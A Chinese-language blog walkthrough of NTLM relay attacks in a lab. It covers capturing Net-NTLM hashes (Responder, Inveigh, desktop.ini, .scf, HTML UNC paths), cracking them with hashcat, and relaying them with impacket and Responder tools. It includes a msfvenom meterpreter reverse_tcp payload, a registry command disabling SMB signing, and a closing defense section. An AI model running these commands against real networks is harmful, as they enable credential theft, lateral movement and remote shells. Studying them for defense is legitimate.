Ntlm relay中Net-NTLM hash的获取方法以及relay方法
前言
ntlm relay
攻击其实比较准确点说应该是Net-NTLM relay
攻击,也就是ntlm中继攻击。我们先来说一下Ntlm协议的简单的认证流程
ntlm本地认证
Windows
将用户的密码存储在本地计算机的SAM
文件中,文件位置:C:\Windows\System32\config\SAM
。密码的存储以NTLM Hash
的方式进行存储。当用户输入密码进行本地认证时,首先系统会将明文密码处理成NTLM Hash
,然后与SAM
文件中的Hash
进行比较,相同则认证通过。同时,会在lsass.exe
进程中,保存一份明文密码(window server 2012之前)。
ntlm网络认证
NTLM
的网络认证,仔细细分可以分为工作组环境下的认证和域环境下的认证。大致原理相同,都是采用Challenge/Response
验证机制。
在工作组协议下,ntlm协议的认证主要分为以下几步
1)客户端首先会在本地缓存一份用户输入的密码值对应的NTLM Hash
,然后向服务端发送Negotiate
协商消息,去指定需要协商认证的用户、机器以及其他相关信息。
2)服务端接收到Negotiate
协商消息之后,会将数据传输给NTLM SSP
进行处理,然后获得一个返回的16位随机值,称之为Challenge
,将其发送给客户端,并在本地缓存该Challenge
。
3)客户端提取出来Challenge
之后,使用本地缓存的NTLM Hash
值对其进行加密,得到的值成为Net-NTLM Hash
,然后将该值封装到Authenticate
认证消息中传输给服务端。
4)服务端收到认证消息之后,会使用自己的密码对应的NTLM Hash
值对本地缓存的Challenge
进行哈希处理,然后将得到的值与认证消息中的Net-NTLM Hash
进行比较,如果匹配则认证通过。
在域环境下,唯一不一样的就是,服务端会向域控请求校验。
原理
之前说过hash的分类,简单分为LM hash
、Net-NTLM Hash v1
和Net-NTLM Hash v2
现在一般都是Net-NTLM Hash v2
,破解和爆破都比较困难,所以一般获取不到明文。ntlm relay
的原理可以简述为,存在一个中间人,也就是攻击者,然后客户端认为他是服务端,服务端认为他是客户端。所以全程客户端都在和攻击者进行交互,然后攻击者将获得到的信息拿来和服务端交互,所以服务端认为攻击者是客户端,这样也就达到了伪造客户端进行认证的目的。
复现
Net-Ntlm relay攻击的大致思路就是在Ntlm协议认证的第三步,通过获取hash值,然后进行重放到服务器上进行验证。所以我们这里大致分为两步,第一步是获得Net-Ntlm hash值,然后是进行重放。
获取Net-ntlm hash
那第一步获取hash,这里的实现方式就是让受害者把Hash传递给自己,所以说我们可以利用所有基于Ntlm协议的上层协议进行relay,比如SMB、HTTP、LDAP协议。
通过Responder或者Inveigh工具
这两个工具的原理是LLMNR
和NetBIOS欺骗
。
LLMNR
全称链路本地多播名称解析,是基于域名系统(DNS
)数据包格式的协议,IPv4
和IPv6
的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。
NetBios
全称网络基本输入输出系统,它提供了OSI
模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS
也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS
的工作流程就是正常的机器名解析查询应答过程。在Windows
操作系统中,默认情况下在安装TCP/IP
协议后会自动安装NetBIOS
。
Windows
解析主机名的顺序为:
1)查看本地
hosts
文件
2)查看DNS
缓存或者DNS
服务器中进行查找
3)利用LLMNR
(链路本地多播名称解析)和NetBIOS
名称服务进行查找
在局域网环境下,当用户输入了一个不存在的,或者错误的,DNS
中不存在的主机名的时候,Windows
系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS
数据包来请求解析主机名。所以当我们在攻击机上进行监听,然后在被攻击机上进行广播查找,当LLMNR
(链路本地多播名称解析)和NetBIOS
名称服务进行查找时,我们就可以抓到被攻击机的hash。
Responder
下载链接:https://github.com/lgandx/Responder
环境:
攻击机:kali
被攻击机:win10
然后我们在攻击机(kali)上执行下面的命令
1 | sudo responder -I eth0 -v -F on -w on |
然后在被攻击机上访问一个不存在的主机,使得被攻击机进行广播,这里随便输一个\\dddddd
或者在终端执行net use \\dddddd
,这里是利用SMB协议进行中继攻击,所以这里是SMB Relay。
返回kali,看到已经抓到了net-ntlm hash
其实这里的原理是LLMNR&NBNS
攻击,当用户输入任意一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,所以系统就会发送LLNMR/NBNS
数据包请求解析,此时Responder对目标主机进行LLNMR/NBNS
毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-Ntlm hash
。
Inveigh
攻击机:win server 2016
被攻击机:win 10
在攻击机的powershell下依次输入命令
(这个方法我没有成功,第一次是正常的,但是一不小心关了之后,第二次开始输入命令就一直报错,目前还没有解决)
1 | set-ExecutionPolicy RemoteSigned |
下面获取Net-Ntlm hash
的方法,虽然和上面的方法略有不同,但是都还是要和Responder
这个工具进行配合,所以这个工具非常重要
desktop.ini
环境:
攻击机:kali
被攻击机:win 10
每个文件夹下都有个隐藏文件desktop.ini
其作用来用来指定文件夹图标等,正常情况是不可见的,可以通过修改文件夹属性去显示此文件。
当图标的一些路径改成指定的UNC路径,就能收到目标机器发来的NTLM请求。
通用命名规则 UNC (Universal Naming Convention) ,也叫通用命名规范、通用命名约定,指用一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。
Microsoft Windows UNC,通用命名约定或统一命名约定的简称,指定了一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。Windows系统的UNC语法具有通用形式:
\\ComputerName\SharedFolder\Resource
我们先新建一个文件夹test
,然后随便修改一个文件夹图标
然后取消勾选对应选项
然后将该文件里的UNC路径替换为指定机器的UNC路径,这样当有人访问了test
文件夹,目标机器就会去请求指定的UNC的图标资源,于是该机器就会将当前用户的Net-NTLM Hash
发送给指定UNC的机器,我们在攻击机上用Responder
监听,就能接受到发来的Net-NTLM Hash
。
这里的ip为我们攻击机的ip,修改保存之后,我们再次访问此文件夹
.scf后缀文件
SCF后缀的文件通常是Windows操作系统中使用的一种快捷方式文件。SCF文件是Shell Command File(Shell 命令文件)的缩写,它包含了一系列命令,用于执行特定的操作或打开特定的应用程序。
这个利用方法和上面的desktop.ini
的原理是一样的,.scf
文件中包含IconFile
属性,所以explore.exe
服务器会尝试获取文件夹的图标,所以打开.scf
所在的文件夹时,目标机器会尝试获取文件夹的图标,那我们通过修改IconFile
也就像上面一样达到访问指定UNC机器的目的了。.scf
文件的基本格式如下:
1 | [Shell]Command=2 |
浏览器
复现环境:
攻击机:kali
被攻击机:win 10
当浏览器的访问页面含有UNC路径时,浏览器在解析该页面时也会尝试请求该UNC地址,发起NTLM认证。不同的浏览器有不同的UNC路径格式,详见《域渗透攻防指南》一书。
这里示范一下在IE浏览器下的。在网站(phpstudy)下新建 1.html ,内容如下:
1 | <!doctype html> |
然后在被攻击机上访问这个文件
成功抓到Net-NTLM Hash
,这个方法我复现的时候抓的速度还挺快的。
系统命令
复现环境:
攻击机:kali
被攻击机:win 10
下面列举一些常见的系统命令来访问指定的UNC路径去触发Net-NTLM Hash
,详细全面命令见书《域渗透攻防指南》
1 | net.exe use \hostshare |
然后Responder
监听接收到了hash值
除了上面的这些方法之外还可以用Office
、PDF
、outlook
、WPAD欺骗
、打印机漏洞
等,其他操作方法可以看书《域渗透攻防指南》,这里就不多赘述了。
利用Net-ntlm hash进行攻击
这里在我们抓到Net-NTLM Hash
之后有两种利用方法,一种是利用破解软件比如hashcat
去解出明文密码,一种是中继Net-NTLM Hash
。
破解Net-NTLM Hash
1 | hashcat -m 5600 <net-ntlm hash> 密码字典路径 --force --show |
我们抓到的这个是Net-NTLM Hash v2
,密码强度较高,一般都跑不出来,所以基本都是用中继攻击。
中继Net-NTLM Hash
我们知道,由于NTLM只是底层的认证协议,必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP、LDAP等。因此,我们可以将获取到的Net-NTLM Hash
Relay到其他使用NTLM进行认证的应用上。
这个攻击有个前提:
目标主机没有开启smb签名。这里说一下,一般情况下域控默认开启smb签名,其余域内机器不开启。关闭SMB签名的命令如下:
1 | reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f |
用nmap探测SMB签名是否打开命令
1 | nmap -p445 --script=smb-security-mode.nse -Pn IP --open |
Relay To SMB
SMB-Relay又分为在工作组环境下和在域环境下,但是一般工作组环境下比较少。
- 工作组环境:在工作组环境中,工作组中的机器之间相互没有信任关系,每台机器的账号密码只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样,不然没有别的意义了。但是如果账号密码相同的话,为何不直接
Pass The Hash
攻击呢?因此在工作组环境下,Relay到其他机器不太现实。这个时候的攻击手段就是将机器Relay回机子本身。因此微软在ms08-068
中对Relay到自身机器做了限制,严禁Relay到机器自身。CVE-2019-1384(Ghost Potato)
就是绕过了该补丁。 - 域环境:在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将
Net-NTLM Hash Relay
到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash
,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。
因为工作组环境的适用环境比较少,这里主要讨论下域环境下的。
impacket下的smbrelayx.py
复现环境
攻击机:kali
被攻击机:win 10
1 | #在VPS(192.168.253.129)上执行如下命令,攻击192.168.253.128主机,并执行 whoami命令,会监听本地80和445 端口,伪造 http 和 smb 服务 |
这里我一开始执行这个脚本的时候有个报错
1 | Traceback (most recent call last): |
网上几乎没有看到这个报错的解决方法
这个错误提示表明在
smbrelayx.py
脚本中使用了impacket.version.WARNING_BANNER
这个属性,但是version
模块中没有WARNING_BANNER
这个属性。
最终我是把脚本里的有关的两行print
的代码删除了
然后再次执行命令
这时候只要域内主机触发了LLMNR协议即可,触发方式与上面的例子的触发方式一致,
①即通过smb协议或者http协议访问一个不存在的主机
②还可以访问攻击机伪造的http\smb
服务的地址输入用户名密码进行认证
③还可以利用SMB协议输入下面的命令
1 | dir \\192.168.253.129\$c |
1 | net use \\192.168.253.1 |
这里我试了上面的所有方法,但是都没有成功,总是会显示failed,目前还没有找到解决方法
然后我换成在windows下执行了,但是这里我首先遇到了一个问题
就是域内的那台机器和我本机不能互ping,后面把两台机器的防火墙都关了就可以互ping了。
在windows下运行脚本得保证445端口是没有被占用的,但是一般都会被占用,而且我这里是被system进程占用了,我在网上搜索之后也没有合适的方法,后面我还尝试过改脚本的端口,但是很可惜的是还是失败了,目前还不知道是什么原因。
后面我经过测试之后,感觉kali下的错误应该是由于补丁的原因,由于MS08-068漏洞进行了修复,所以无法再将Net-NTLM
哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。
后面我用kali自带的impacket下的脚本,然后用域控的hash去进行中继然后获得win10的权限就可以正常执行,而且如果在windows下去触发的话,中继到http协议,不是smb协议那也可以
复现环境:
攻击机:kali (192.168.253.129)
被攻击机:windows 2016(域控,192.168.253.132)
windows 10 (192.168.253.128)
1 | cd /usr/local/bin |
也可以通过http协议触发
这里我在域控下访问了一个不存在的网页,然后输入凭证
返回kali看到命令已经成功执行
这个脚本也可以和其他工具联动,例如可以通过msf
生成一个shell.exe
,然后放置到攻击机上面。当中继攻击成功以后,可以让他下载本地的shell.exe
并运行,这样,在msf
中开启监听后,就可以获取到目标的shell
。
现在kali上生成木马
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.129 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe |
然后在msf中设置监听
1 | use exploit/multi/handler |
然后在kali下执行
1 | sudo ./smbrelayx.py -h 192.168.253.128 -e ./~shell.exe |
然后在目标机器上输入下面的命令进行触发,但是我这里监听了很久都没有回应,这个目前没打通
1 | net use \\192.168.253.129\c$ |
Reponder下的MultiRelay.py
复现环境:
攻击机:kali (192.168.253.129)
被攻击机:windows 2016(域控,192.168.253.132)
windows 10 (192.168.253.128)
首先在kali下修改Responder的配置
1 | sudo vim /usr/share/responder/Responder.conf |
然后把HTTP和SMB设置为Off,禁用这两个功能,因为responder的作用只是进行欺骗,这里我的理解是,我们需要responder进行欺骗,然后用其他相应的脚本进行监听,那些脚本需要用到SMB或者是HTTP服务,所以Responder相应的功能就可以关了,而且在MultiRelay.py脚本的开头注释也有提示我们要关闭。当然只是我的理解,如果理解有误的话,请师傅们告诉我下真正原因。
修改完成之后,开始投毒欺骗
1 | sudo responder -I eth0 |
然后再新开一个窗口,执行MultiRelay.py文件
1 | cd /usr/share/responder/tools |
然后在域控上触发,输入
1 | net use \\192.168.253.129 |
然后就可以执行命令了
这里的原理就是,在kali上执行命令,然后通过利用域控的hash去relay到win10上,我们进而获得win10的权限
impacket下的ntlmrelayx.py
后面我才发现kali下自带了impacket,所以这次避免版本冲突,我就用的kali自带的脚本来操作的。
这里的操作第一步和上面一样,先把responder对应的选项关了,然后开始投毒欺骗
然后在对应文件夹下执行命令,这里记得加sudo,不然可能会执行命令失败
1 | cd /usr/local/bin |
Relay To HTTP
中继到HTTP协议,基本都是用上面SMB说的三个脚本,这三个脚本也可以应用到HTTP协议中,就像impacket下的smbrelayx.py最后中继到http协议的一样,一般就是在域内的一台主机上访问一个不存在的网页,然后输入凭证
所以只要我们开始欺骗投毒并且运行脚本之后,只要域内有机器用到了SMB或者HTTP协议就会触发,使得我们成功横向移动
Relay To EWS
Exchange是由Microsoft开发的一款企业级邮件服务器软件,它运行在Windows Server操作系统上。Exchange提供了一系列企业级电子邮件、日历、联系人和任务管理功能,并且可以与其他应用程序(如Outlook)无缝集成。
Exchange支持多种通信协议,包括SMTP(Simple Mail Transfer Protocol)、POP3(Post Office Protocol 3)、IMAP(Internet Message Access Protocol)和MAPI(Messaging Application Programming Interface)。因此,它可以与各种邮件客户端 和移动设备进行互操作,例如Outlook、Entourage、Web浏览器、iPhone和Android设备等。
EWS是Exchange Web Services的缩写,它是微软Exchange Server提供的一种基于Web服务的API(应用程序编程接口)。EWS允许开发人员通过HTTP协议与Exchange服务器进行通信,并访问和操作Exchange邮件、日历、联系人和任务等数据。
利用工具NtlmRelayToEWS
获得被攻击者收件箱里的邮件的命令是:
1 | sudo python2 ntlmRelayToEWS.py -t https://192.168.253.128/EWS/exchange.asmx -r getFolder -f inbox -v |
但是我这里一直报错,目前还没有复现成功。网上有师傅说在kali下会有不知名报错,在ubuntu上就可以执行。
防御
- 禁用LLMNR。域内机器可以在域控机器上通过”设置组策略管理”关闭多播名称解析,非域内机器也可以通过本机的”设置组策略管理”关闭LLMNR。我们在前面提到过,在局域网环境下,当用户输入了一个不存在的,或者错误的,
DNS
中不存在的主机名的时候,Windows
系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS
数据包来请求解析主机名。那当我们禁用了LLMNR,那就无法在域内广播来请求解析主机名。 - 同理,我们也可以通过禁用NetBIOS服务来达到上面那个方法说的一样的效果。
- 从条件出发,开启SMB签名
参考文章
《域渗透攻防指南》
浅谈域内ntlm relay攻击
ntlm认证及ntlm relay攻击详解
NTLM-relay攻击的原理与实现
ntlm认证及ntlm relay攻击详解
域渗透-Relay